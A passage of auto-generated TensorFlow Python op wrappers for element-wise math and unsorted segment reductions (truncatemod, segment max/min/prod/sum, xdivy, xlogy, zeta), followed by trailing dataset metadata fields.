return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"TruncateDiv", _inputs_flat, _attrs, _result)
_result, = _result
return _result
TruncateDiv = tf_export("raw_ops.TruncateDiv")(_ops.to_raw_op(truncate_div))
def truncate_div_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.uint8, _dtypes.int8, _dtypes.uint16, _dtypes.int16, _dtypes.int32, _dtypes.uint32, _dtypes.uint64, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"TruncateDiv", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"TruncateDiv", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('truncatemod')
def truncate_mod(x, y, name=None):
r"""Returns element-wise remainder of division. This emulates C semantics in that
the result here is consistent with a truncating divide. E.g. `truncate(x / y) *
y + truncate_mod(x, y) = x`.
*NOTE*: `truncatemod` supports broadcasting. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
Args:
x: A `Tensor`. Must be one of the following types: `int32`, `int64`, `bfloat16`, `half`, `float32`, `float64`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "TruncateMod", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return truncate_mod_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
truncate_mod, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"TruncateMod", x=x, y=y, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
truncate_mod, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"TruncateMod", _inputs_flat, _attrs, _result)
_result, = _result
return _result
TruncateMod = tf_export("raw_ops.TruncateMod")(_ops.to_raw_op(truncate_mod))
def truncate_mod_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.int32, _dtypes.int64, _dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"TruncateMod", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"TruncateMod", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.unsorted_segment_max', v1=['math.unsorted_segment_max', 'unsorted_segment_max'])
@deprecated_endpoints('unsorted_segment_max')
def unsorted_segment_max(data, segment_ids, num_segments, name=None):
r"""Computes the maximum along segments of a tensor.
Read
[the section on segmentation](https://tensorflow.org/api_docs/python/tf/math#Segmentation)
for an explanation of segments.
This operator is similar to the unsorted segment sum operator found
[(here)](../../../api_docs/python/math_ops.md#UnsortedSegmentSum).
Instead of computing the sum over segments, it computes the maximum such that:
\\(output_i = \max_{j...} data[j...]\\) where max is over tuples `j...` such
that `segment_ids[j...] == i`.
If the maximum is empty for a given segment ID `i`, it outputs the smallest
possible value for the specific numeric type,
`output[i] = numeric_limits<T>::lowest()`.
If the given segment ID `i` is negative, then the corresponding value is
dropped, and will not be included in the result.
<div style="width:70%; margin:auto; margin-bottom:10px; margin-top:20px;">
<img style="width:100%" src="https://www.tensorflow.org/images/UnsortedSegmentMax.png" alt>
</div>
For example:
``` python
c = tf.constant([[1,2,3,4], [5,6,7,8], [4,3,2,1]])
tf.unsorted_segment_max(c, tf.constant([0, 1, 0]), num_segments=2)
# ==> [[ 4, 3, 3, 4],
# [5, 6, 7, 8]]
```
Args:
data: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `int64`, `bfloat16`, `uint16`, `half`, `uint32`, `uint64`.
segment_ids: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A tensor whose shape is a prefix of `data.shape`.
num_segments: A `Tensor`. Must be one of the following types: `int32`, `int64`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `data`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "UnsortedSegmentMax", name, data, segment_ids, num_segments)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return unsorted_segment_max_eager_fallback(
data, segment_ids, num_segments, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
unsorted_segment_max, (), dict(data=data, segment_ids=segment_ids,
num_segments=num_segments,
name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"UnsortedSegmentMax", data=data, segment_ids=segment_ids,
num_segments=num_segments, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
unsorted_segment_max, (), dict(data=data, segment_ids=segment_ids,
num_segments=num_segments, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tindices",
_op._get_attr_type("Tindices"), "Tnumsegments",
_op._get_attr_type("Tnumsegments"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"UnsortedSegmentMax", _inputs_flat, _attrs, _result)
_result, = _result
return _result
UnsortedSegmentMax = tf_export("raw_ops.UnsortedSegmentMax")(_ops.to_raw_op(unsorted_segment_max))
def unsorted_segment_max_eager_fallback(data, segment_ids, num_segments, name, ctx):
_attr_T, (data,) = _execute.args_to_matching_eager([data], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.int64, _dtypes.bfloat16, _dtypes.uint16, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
_attr_Tindices, (segment_ids,) = _execute.args_to_matching_eager([segment_ids], ctx, [_dtypes.int32, _dtypes.int64, ])
_attr_Tnumsegments, (num_segments,) = _execute.args_to_matching_eager([num_segments], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [data, segment_ids, num_segments]
_attrs = ("T", _attr_T, "Tindices", _attr_Tindices, "Tnumsegments",
_attr_Tnumsegments)
_result = _execute.execute(b"UnsortedSegmentMax", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"UnsortedSegmentMax", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.unsorted_segment_min', v1=['math.unsorted_segment_min', 'unsorted_segment_min'])
@deprecated_endpoints('unsorted_segment_min')
def unsorted_segment_min(data, segment_ids, num_segments, name=None):
r"""Computes the minimum along segments of a tensor.
Read
[the section on segmentation](https://tensorflow.org/api_docs/python/tf/math#Segmentation)
for an explanation of segments.
This operator is similar to the unsorted segment sum operator found
[(here)](../../../api_docs/python/math_ops.md#UnsortedSegmentSum).
Instead of computing the sum over segments, it computes the minimum such that:
\\(output_i = \min_{j...} data_[j...]\\) where min is over tuples `j...` such
that `segment_ids[j...] == i`.
If the minimum is empty for a given segment ID `i`, it outputs the largest
possible value for the specific numeric type,
`output[i] = numeric_limits<T>::max()`.
For example:
``` python
c = tf.constant([[1,2,3,4], [5,6,7,8], [4,3,2,1]])
tf.unsorted_segment_min(c, tf.constant([0, 1, 0]), num_segments=2)
# ==> [[ 1, 2, 2, 1],
# [5, 6, 7, 8]]
```
If the given segment ID `i` is negative, then the corresponding value is
dropped, and will not be included in the result.
Args:
data: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `int64`, `bfloat16`, `uint16`, `half`, `uint32`, `uint64`.
segment_ids: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A tensor whose shape is a prefix of `data.shape`.
num_segments: A `Tensor`. Must be one of the following types: `int32`, `int64`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `data`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "UnsortedSegmentMin", name, data, segment_ids, num_segments)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return unsorted_segment_min_eager_fallback(
data, segment_ids, num_segments, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
unsorted_segment_min, (), dict(data=data, segment_ids=segment_ids,
num_segments=num_segments,
name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"UnsortedSegmentMin", data=data, segment_ids=segment_ids,
num_segments=num_segments, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
unsorted_segment_min, (), dict(data=data, segment_ids=segment_ids,
num_segments=num_segments, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tindices",
_op._get_attr_type("Tindices"), "Tnumsegments",
_op._get_attr_type("Tnumsegments"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"UnsortedSegmentMin", _inputs_flat, _attrs, _result)
_result, = _result
return _result
UnsortedSegmentMin = tf_export("raw_ops.UnsortedSegmentMin")(_ops.to_raw_op(unsorted_segment_min))
def unsorted_segment_min_eager_fallback(data, segment_ids, num_segments, name, ctx):
_attr_T, (data,) = _execute.args_to_matching_eager([data], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.int64, _dtypes.bfloat16, _dtypes.uint16, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
_attr_Tindices, (segment_ids,) = _execute.args_to_matching_eager([segment_ids], ctx, [_dtypes.int32, _dtypes.int64, ])
_attr_Tnumsegments, (num_segments,) = _execute.args_to_matching_eager([num_segments], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [data, segment_ids, num_segments]
_attrs = ("T", _attr_T, "Tindices", _attr_Tindices, "Tnumsegments",
_attr_Tnumsegments)
_result = _execute.execute(b"UnsortedSegmentMin", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"UnsortedSegmentMin", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.unsorted_segment_prod', v1=['math.unsorted_segment_prod', 'unsorted_segment_prod'])
@deprecated_endpoints('unsorted_segment_prod')
def unsorted_segment_prod(data, segment_ids, num_segments, name=None):
r"""Computes the product along segments of a tensor.
Read
[the section on segmentation](https://tensorflow.org/api_docs/python/tf/math#Segmentation)
for an explanation of segments.
This operator is similar to the unsorted segment sum operator found
[(here)](../../../api_docs/python/math_ops.md#UnsortedSegmentSum).
Instead of computing the sum over segments, it computes the product of all
entries belonging to a segment such that:
\\(output_i = \prod_{j...} data[j...]\\) where the product is over tuples
`j...` such that `segment_ids[j...] == i`.
For example:
``` python
c = tf.constant([[1,2,3,4], [5,6,7,8], [4,3,2,1]])
tf.unsorted_segment_prod(c, tf.constant([0, 1, 0]), num_segments=2)
# ==> [[ 4, 6, 6, 4],
# [5, 6, 7, 8]]
```
If there is no entry for a given segment ID `i`, it outputs 1.
If the given segment ID `i` is negative, then the corresponding value is
dropped, and will not be included in the result.
Args:
data: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `complex64`, `int64`, `qint8`, `quint8`, `qint32`, `bfloat16`, `uint16`, `complex128`, `half`, `uint32`, `uint64`.
segment_ids: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A tensor whose shape is a prefix of `data.shape`.
num_segments: A `Tensor`. Must be one of the following types: `int32`, `int64`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `data`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "UnsortedSegmentProd", name, data, segment_ids, num_segments)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return unsorted_segment_prod_eager_fallback(
data, segment_ids, num_segments, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
unsorted_segment_prod, (), dict(data=data,
segment_ids=segment_ids,
num_segments=num_segments,
name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"UnsortedSegmentProd", data=data, segment_ids=segment_ids,
num_segments=num_segments, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
unsorted_segment_prod, (), dict(data=data, segment_ids=segment_ids,
num_segments=num_segments,
name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tindices",
_op._get_attr_type("Tindices"), "Tnumsegments",
_op._get_attr_type("Tnumsegments"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"UnsortedSegmentProd", _inputs_flat, _attrs, _result)
_result, = _result
return _result
UnsortedSegmentProd = tf_export("raw_ops.UnsortedSegmentProd")(_ops.to_raw_op(unsorted_segment_prod))
def unsorted_segment_prod_eager_fallback(data, segment_ids, num_segments, name, ctx):
_attr_T, (data,) = _execute.args_to_matching_eager([data], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.complex64, _dtypes.int64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.bfloat16, _dtypes.uint16, _dtypes.complex128, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
_attr_Tindices, (segment_ids,) = _execute.args_to_matching_eager([segment_ids], ctx, [_dtypes.int32, _dtypes.int64, ])
_attr_Tnumsegments, (num_segments,) = _execute.args_to_matching_eager([num_segments], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [data, segment_ids, num_segments]
_attrs = ("T", _attr_T, "Tindices", _attr_Tindices, "Tnumsegments",
_attr_Tnumsegments)
_result = _execute.execute(b"UnsortedSegmentProd", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"UnsortedSegmentProd", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.unsorted_segment_sum', v1=['math.unsorted_segment_sum', 'unsorted_segment_sum'])
@deprecated_endpoints('unsorted_segment_sum')
def unsorted_segment_sum(data, segment_ids, num_segments, name=None):
r"""Computes the sum along segments of a tensor.
Read
[the section on segmentation](https://tensorflow.org/api_docs/python/tf/math#Segmentation)
for an explanation of segments.
Computes a tensor such that
\\(output[i] = \sum_{j...} data[j...]\\) where the sum is over tuples `j...` such
that `segment_ids[j...] == i`. Unlike `SegmentSum`, `segment_ids`
need not be sorted and need not cover all values in the full
range of valid values.
If the sum is empty for a given segment ID `i`, `output[i] = 0`.
If the given segment ID `i` is negative, the value is dropped and will not be
added to the sum of the segment.
`num_segments` should equal the number of distinct segment IDs.
<div style="width:70%; margin:auto; margin-bottom:10px; margin-top:20px;">
<img style="width:100%" src="https://www.tensorflow.org/images/UnsortedSegmentSum.png" alt>
</div>
``` python
c = tf.constant([[1,2,3,4], [5,6,7,8], [4,3,2,1]])
tf.unsorted_segment_sum(c, tf.constant([0, 1, 0]), num_segments=2)
# ==> [[ 5, 5, 5, 5],
# [5, 6, 7, 8]]
```
Args:
data: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `complex64`, `int64`, `qint8`, `quint8`, `qint32`, `bfloat16`, `uint16`, `complex128`, `half`, `uint32`, `uint64`.
segment_ids: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A tensor whose shape is a prefix of `data.shape`.
num_segments: A `Tensor`. Must be one of the following types: `int32`, `int64`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `data`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "UnsortedSegmentSum", name, data, segment_ids, num_segments)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return unsorted_segment_sum_eager_fallback(
data, segment_ids, num_segments, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
unsorted_segment_sum, (), dict(data=data, segment_ids=segment_ids,
num_segments=num_segments,
name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"UnsortedSegmentSum", data=data, segment_ids=segment_ids,
num_segments=num_segments, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
unsorted_segment_sum, (), dict(data=data, segment_ids=segment_ids,
num_segments=num_segments, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tindices",
_op._get_attr_type("Tindices"), "Tnumsegments",
_op._get_attr_type("Tnumsegments"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"UnsortedSegmentSum", _inputs_flat, _attrs, _result)
_result, = _result
return _result
UnsortedSegmentSum = tf_export("raw_ops.UnsortedSegmentSum")(_ops.to_raw_op(unsorted_segment_sum))
def unsorted_segment_sum_eager_fallback(data, segment_ids, num_segments, name, ctx):
_attr_T, (data,) = _execute.args_to_matching_eager([data], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.complex64, _dtypes.int64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.bfloat16, _dtypes.uint16, _dtypes.complex128, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
_attr_Tindices, (segment_ids,) = _execute.args_to_matching_eager([segment_ids], ctx, [_dtypes.int32, _dtypes.int64, ])
_attr_Tnumsegments, (num_segments,) = _execute.args_to_matching_eager([num_segments], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [data, segment_ids, num_segments]
_attrs = ("T", _attr_T, "Tindices", _attr_Tindices, "Tnumsegments",
_attr_Tnumsegments)
_result = _execute.execute(b"UnsortedSegmentSum", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"UnsortedSegmentSum", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.xdivy')
def xdivy(x, y, name=None):
r"""Returns 0 if x == 0, and x / y otherwise, elementwise.
Args:
x: A `Tensor`. Must be one of the following types: `half`, `float32`, `float64`, `complex64`, `complex128`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Xdivy", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return xdivy_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
xdivy, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Xdivy", x=x, y=y, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
xdivy, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Xdivy", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Xdivy = tf_export("raw_ops.Xdivy")(_ops.to_raw_op(xdivy))
def xdivy_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Xdivy", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Xdivy", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def xlog1py(x, y, name=None):
r"""Returns 0 if x == 0, and x * log1p(y) otherwise, elementwise.
Args:
x: A `Tensor`. Must be one of the following types: `half`, `float32`, `float64`, `complex64`, `complex128`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Xlog1py", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return xlog1py_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Xlog1py", x=x, y=y, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Xlog1py", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Xlog1py = tf_export("raw_ops.Xlog1py")(_ops.to_raw_op(xlog1py))
def xlog1py_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Xlog1py", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Xlog1py", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.xlogy')
def xlogy(x, y, name=None):
r"""Returns 0 if x == 0, and x * log(y) otherwise, elementwise.
Args:
x: A `Tensor`. Must be one of the following types: `half`, `float32`, `float64`, `complex64`, `complex128`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Xlogy", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return xlogy_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
xlogy, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Xlogy", x=x, y=y, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
xlogy, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Xlogy", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Xlogy = tf_export("raw_ops.Xlogy")(_ops.to_raw_op(xlogy))
def xlogy_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Xlogy", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Xlogy", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.zeta', v1=['math.zeta', 'zeta'])
@deprecated_endpoints('zeta')
def zeta(x, q, name=None):
r"""Compute the Hurwitz zeta function \\(\zeta(x, q)\\).
The Hurwitz zeta function is defined as:
\\(\zeta(x, q) = \sum_{n=0}^{\infty} (q + n)^{-x}\\)
Args:
x: A `Tensor`. Must be one of the following types: `float32`, `float64`.
q: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Zeta", name, x, q)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return zeta_eager_fallback(
x, q, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
zeta, (), dict(x=x, q=q, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Zeta", x=x, q=q, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
zeta, (), dict(x=x, q=q, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Zeta", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Zeta = tf_export("raw_ops.Zeta")(_ops.to_raw_op(zeta))
def zeta_eager_fallback(x, q, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, q], ctx, [_dtypes.float32, _dtypes.float64, ])
(x, q) = _inputs_T
_inputs_flat = [x, q]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Zeta", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Zeta", _inputs_flat, _attrs, _result)
_result, = _result
return _result
| 37.646479
| 374
| 0.675399
| 60,112
| 443,212
| 4.64656
| 0.018133
| 0.026314
| 0.023683
| 0.013684
| 0.897925
| 0.882004
| 0.871804
| 0.859592
| 0.849832
| 0.841476
| 0
| 0.021326
| 0.205134
| 443,212
| 11,772
| 375
| 37.649677
| 0.771518
| 0.290461
| 0
| 0.790062
| 1
| 0
| 0.051982
| 0.007747
| 0
| 0
| 0
| 0.000255
| 0
| 1
| 0.038241
| false
| 0.038241
| 0.001691
| 0
| 0.132024
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
7d9203d99c4fea68086f024506c7cd6ce09f2bb9
| 121
|
py
|
Python
|
tests/test_editable.py
|
metatooling/sphinxcontrib-editable
|
5d0cb42d40505d21516b5c6f3b9daa4bf4434b2c
|
[
"BSD-2-Clause"
] | null | null | null |
tests/test_editable.py
|
metatooling/sphinxcontrib-editable
|
